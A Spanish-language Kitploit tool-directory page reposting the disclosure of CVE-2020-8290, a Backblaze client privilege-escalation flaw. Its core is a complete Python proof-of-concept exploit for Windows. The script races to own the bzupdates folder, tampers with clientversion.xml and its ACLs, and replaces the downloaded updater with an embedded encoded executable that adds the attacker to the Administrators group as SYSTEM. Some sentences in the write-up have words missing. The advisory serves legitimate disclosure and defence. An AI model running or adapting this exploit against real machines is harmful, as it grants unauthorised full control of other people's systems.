Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-8290 — CVE-2020-8290 – Elevación de privilegios en Backblaze | Kitploit
Herramientas/GitHubGitHub/geffner/cve-2020-8290
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónPruebas de Penetración
GitHubgeffner/cve-2020-8290

CVE-2020-8290

CVE-2020-8290 – Elevación de privilegios en Backblaze

Ver Repositorio
hace 5 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2020-8290 – Elevación de Privilegios en Backblaze

Resumen

Nombre: Elevación de Privilegios en Backblaze
CVE: CVE-2020-8290
Descubridor: Jason Geffner
Vendedor: Backblaze
Producto: Backblaze para Windows y Backblaze para macOS
Riesgo: Alto
Fecha de descubrimiento: 2020-03-13
Fecha de publicación: 2020-09-09
Versión corregida: 7.0.0.439

Introducción

Según Wikipedia, Backblaze es

"una herramienta de copia de seguridad en línea que permite a los usuarios de Windows y macOS realizar copias de seguridad de sus datos en centros de datos remotos. El servicio está diseñado para empresas y usuarios finales, proporcionando espacio de almacenamiento ilimitado y soportando tamaños de archivo ilimitados."

Las versiones vulnerables de Backblaze para Windows y Backblaze para macOS contienen una vulnerabilidad de alto riesgo que permite a un atacante local sin privilegios realizar un ataque de elevación de privilegios (EOP) para convertirse en SYSTEM/root.

Vulnerabilidad

El proceso de servicio del cliente de Backblaze, llamado bzserv, se ejecuta como SYSTEM en Windows y como root en macOS. Cada par de horas, bzserv ejecuta un programa llamado bztransmit (ejecutado como SYSTEM/root) para descargar un archivo XML llamado clientversion.xml desde el centro de datos de Backblaze para ver si hay una versión más reciente del cliente de Backblaze disponible para descargar y, si es así, descarga el instalador de la última versión del cliente desde el centro de datos de Backblaze. El instalador descargado se guarda en el directorio %ProgramData%\Backblaze\bzdata\bzupdates en Windows y en el directorio /Library/Backblaze.bzpkg/bzdata/bzupdates o /Library/Backblaze/bzdata/bzupdates en macOS. Una vez descargado, bztransmit ejecuta el instalador descargado como a través de o como a través de .

En Windows, el directorio %ProgramData%\Backblaze\bzdata se crea durante la instalación de modo que los usuarios locales sin privilegios tengan acceso de lectura y escritura. El proceso bztransmit crea el subdirectorio bzupdates mientras se ejecuta como SYSTEM, y los usuarios sin privilegios no tienen acceso de lectura ni escritura a este subdirectorio una vez creado. Sin embargo, el proceso bztransmit no verifica de forma segura la ACL en este directorio bzupdates si ya existía, ni actualiza la ACL de forma segura si el directorio ya existía. Por lo tanto, un atacante local sin privilegios puede crear el directorio %ProgramData%\Backblaze\bzdata\bzupdates antes de la instalación de Backblaze, o crear el subdirectorio bzupdates bajo %ProgramData%\Backblaze\bzdata después de que Backblaze esté instalado y antes de que bztransmit cree el subdirectorio bzupdates. Esto permite que el atacante sea el propietario del directorio bzupdates y tenga control total sobre los archivos en ese directorio. Por lo tanto, el atacante puede modificar o reemplazar el ejecutable de actualización descargado después de descargado y antes de su ejecución, permitiendo así una EOP local.

En macOS, el directorio /Library/Backblaze.bzpkg/bzdata (o /Library/Backblaze/bzdata) se crea durante la instalación con permisos 0777 (drwxrwxrwx), de modo que los usuarios locales sin privilegios tengan acceso de lectura y escritura. El proceso bztransmit crea el subdirectorio bzupdates con permisos 0755 (drwxr-xr-x) mientras se ejecuta como root, y los usuarios sin privilegios no tienen acceso de lectura ni escritura a este subdirectorio una vez creado. Sin embargo, el proceso bztransmit no verifica de forma segura los permisos en este directorio bzupdates si ya existía, ni actualiza los permisos de forma segura si el directorio ya existía. Por lo tanto, un atacante local sin privilegios puede crear el subdirectorio bzupdates bajo /Library/Backblaze.bzpkg/bzdata (o ) después de que Backblaze esté instalado y antes de que cree el subdirectorio . Esto permite que el atacante sea el propietario del directorio y tenga control total sobre los archivos en ese directorio. Por lo tanto, el atacante puede modificar o reemplazar el ejecutable de actualización descargado después de descargado y antes de su ejecución, permitiendo así una EOP local.

Prueba de Concepto

Vídeo: https://youtu.be/OpC6neWd2aM

El vídeo anterior muestra dos inicios de sesión simultáneos en la misma máquina virtual: una sesión de administrador a la izquierda y una sesión de atacante sin privilegios a la derecha. Puede ver los siguientes pasos en el vídeo:

  1. Atacante ejecuta net localgroup Administrators para mostrar que la cuenta del atacante sin privilegios (llamada Attacker) no es miembro del grupo Administrators.
  2. El atacante ejecuta python eop.py (cuyo código fuente está más abajo).
  3. Luego el administrador instala Backblaze.
  4. Seis minutos después, el servicio de Backblaze instalado descarga clientversion.xml, que el exploit sobrescribe.
  5. Un minuto después, el servicio de Backblaze instalado descarga el ejecutable de actualización, que el exploit sobrescribe.
  6. El servicio de Backblaze entonces ejecuta el actualizador sobrescrito, que añade la cuenta Attacker al grupo Administrators.
  7. El atacante ejecuta net localgroup Administrators de nuevo para mostrar que la cuenta Attacker ha sido efectivamente añadida al grupo Administrators. Elevación de privilegios local completa.
root@kitploit:~
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""Proof-of-concept exploit for CVE-2020-8290 for Windows."""


__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"


import base64
import bz2
import ctypes
import os
import platform
import re
import subprocess
import time


def wait_for_filesystem_object(file_path):
    if os.path.exists(file_path):
        return
    parent_directory = os.path.dirname(file_path)
    if not os.path.exists(parent_directory):
        wait_for_filesystem_object(parent_directory)
    buffer = ctypes.create_string_buffer(1024)
    bytes_returned = ctypes.c_ulong()
    if "." in os.path.basename(file_path):
        notify_filter = 8
    else:
        notify_filter = 2
    h = ctypes.windll.kernel32.CreateFileW(parent_directory, 1, 3, None, 3,
                                           0x02000000, None)
    while not os.path.exists(file_path):
        ctypes.windll.kernel32.ReadDirectoryChangesW(
            h, ctypes.byref(buffer), 1024, False, notify_filter,
            ctypes.byref(bytes_returned), None, None)
    ctypes.windll.kernel32.CloseHandle(h)


def get_exe_content():
    #
    # Returns the content of an EXE that will add the attacker to the
    # Administrators group. Based on
    # https://github.com/corkami/pocs/blob/master/PE/tiny.asm
    #
    exe_content = bz2.decompress(base64.b85decode(
        "LRx4!F+o`-Q&~Gdx1Rt2IDf_b?h*hH0T=+r20)M=eGothKnwr?AOHZM0CF*qXfk9P8W?" +
        "~Xpp?}o=_Zd;AT%0gp!EiU7eYM!=ig9Ls6k|2Zp2X7u2P_M#mS9GBAA+UVO{FjHAvEri" +
        "p0bod_MlBT`kDlS6O$(^CD~4Z=KV8QJRn3`8m~{QUE*R2n)F)oG3^gpWDxX"))
    exe_content += ("NET LOCALGROUP Administrators " +
                    f"{os.environ['USERDOMAIN']}\\" +
                    f"{os.environ['USERNAME']} /ADD").encode()
    return exe_content


def am_i_admin():
    bufptr = ctypes.c_void_p()
    ctypes.windll.netapi32.NetUserGetInfo(
        os.environ["USERDOMAIN"], os.environ["USERNAME"], 1,
        ctypes.byref(bufptr))
    if platform.architecture()[0] == "32bit":
        usri1_priv = ctypes.string_at(bufptr, 13)[-1]
    else:
        usri1_priv = ctypes.string_at(bufptr, 21)[-1]
    ctypes.windll.netapi32.NetApiBufferFree(bufptr)
    return usri1_priv == 2


def poc():
    print(f"Running as user: {os.environ['USERNAME']}")

    # Ensure that we're running as an unprivileged user.
    print("Testing for administrative privileges...")
    if am_i_admin():
        print("You're already an administrator. Bye!")
        return
    print("You're a non-administrative user.")

    # Raise our process's priority to try to win our race condition.
    pid = ctypes.windll.kernel32.GetCurrentProcessId()
    h = ctypes.windll.kernel32.OpenProcess(0x200, False, pid)
    ctypes.windll.kernel32.SetPriorityClass(h, 0x100)
    ctypes.windll.kernel32.CloseHandle(h)

    # Create the bzupdates directory so that we are the owner of it.
    bzupdates = f"{os.environ['ProgramData']}\\Backblaze\\bzdata\\bzupdates"
    if os.path.exists(bzupdates):
        print("Backblaze's bzupdates directory was already created. You're " +
              "too late!")
        return
    os.makedirs(bzupdates)

    #
    # Get the installed hguid value so that we can force an update via
    # clientversion.xml.
    #
    if platform.architecture()[0] == "32bit":
        bzinstall = f"{os.environ['ProgramFiles']}\\Backblaze\\bzinstall.xml"
    else:
        bzinstall = f"{os.environ['ProgramFiles(x86)']}" +\
                    "\\Backblaze\\bzinstall.xml"
    if not os.path.exists(bzinstall):
        print("Waiting for Backblaze's installer to assign an hguid value.")
        wait_for_filesystem_object(bzinstall)
        print("Backblaze assigned an hguid value.")
    with open(bzinstall) as f:
        xml = f.read()
    hguid = re.search('hguid="([^"]+)"', xml).group(1)

    # Force update via clientversion.xml.
    if not os.path.exists(f"{bzupdates}\\clientversion.xml"):
        print("Waiting for Backblaze to download clientversion.xml.")
        wait_for_filesystem_object(f"{bzupdates}\\clientversion.xml")
        print("clientversion.xml now downloaded.")
    with open(f"{bzupdates}\\clientversion.xml", "r+") as f:
        xml = f.read()
        xml = re.sub('update_hguids_firstchar=".',
                     f'update_hguids_firstchar="{hguid[0]}', xml)
        xml = xml.replace('win32_version="', 'win32_version="1')
        f.truncate(0)
        f.seek(0)
        f.write(xml)
    print("clientversion.xml modified to force update next time Backblaze " +
          "considers updating.")

    # Don't allow SYSTEM to overwrite clientversion.xml.
    subprocess.run(["icacls.exe", f"{bzupdates}\\clientversion.xml",
                    "/setowner", f"{os.environ['USERNAME']}"])
    print()
    subprocess.run(f'echo y| cacls.exe "{bzupdates}\\clientversion.xml" ' +
                   '/S:D:PAI(A;;FA;;;OW)(A;;GRGX;;;SY)', shell=True)
    print()

    #
    # Create an executable to replace the downloaded update, which will elevate
    # our privileges.
    #
    exe_content = get_exe_content()
    with open(f"{bzupdates}\\eop.exe", "wb") as f:
        f.write(exe_content)

    #
    # Wait for update to download and overwrite it with attacker's executable.
    # In this PoC we use iexpress.exe (built into Windows) to create an EXE that
    # adds the attacker to the Administrators group, but an attacker could
    # supply any executable content they like.
    #
    exe = re.search('win32_url=.+?file=([^"]+)"', xml).group(1)
    print(f"Waiting for Backblaze to download {exe}.")
    wait_for_filesystem_object(f"{bzupdates}\\{exe}")
    os.replace(f"{bzupdates}\\eop.exe", f"{bzupdates}\\{exe}")
    print(f"{exe} downloaded and replaced.")
    print(f"{exe} should now get executed as SYSTEM.")

    for i in range(5):
        if am_i_admin():
            print("Success! You're now an administrator!")
            return
        time.sleep(1)
    print("Exploit failed. We probably lost the race-condition when " +
          f"overwriting {exe}.")


if __name__ == "__main__":
    poc()

Mitigación

Backblaze corrigió esta vulnerabilidad en la versión 7.0.0.439 de Backblaze.

Descubridor

Esta vulnerabilidad fue descubierta e informada a Backblaze por Jason Geffner a través de HackerOne.

Cronología

2020-03-13 - Vulnerabilidad descubierta e informada a Backblaze a través de HackerOne
2020-03-26 - HackerOne verificó la vulnerabilidad
2020-04-22 - CVE-2020-8152 asignado
2020-04-22 - Versión 7.0.0.439 publicada
2020-04-22 - Mitigación de la vulnerabilidad verificada
2020-04-23 - Se solicitó divulgación pública
2020-09-09 - Divulgación pública
2020-12-22 - Asignación de CVE cambiada a CVE-2020-8290

Descargar herramienta
SYSTEM
ShellExecute()
root
system()
/Library/Backblaze/bzdata
bztransmit
bzupdates
bzupdates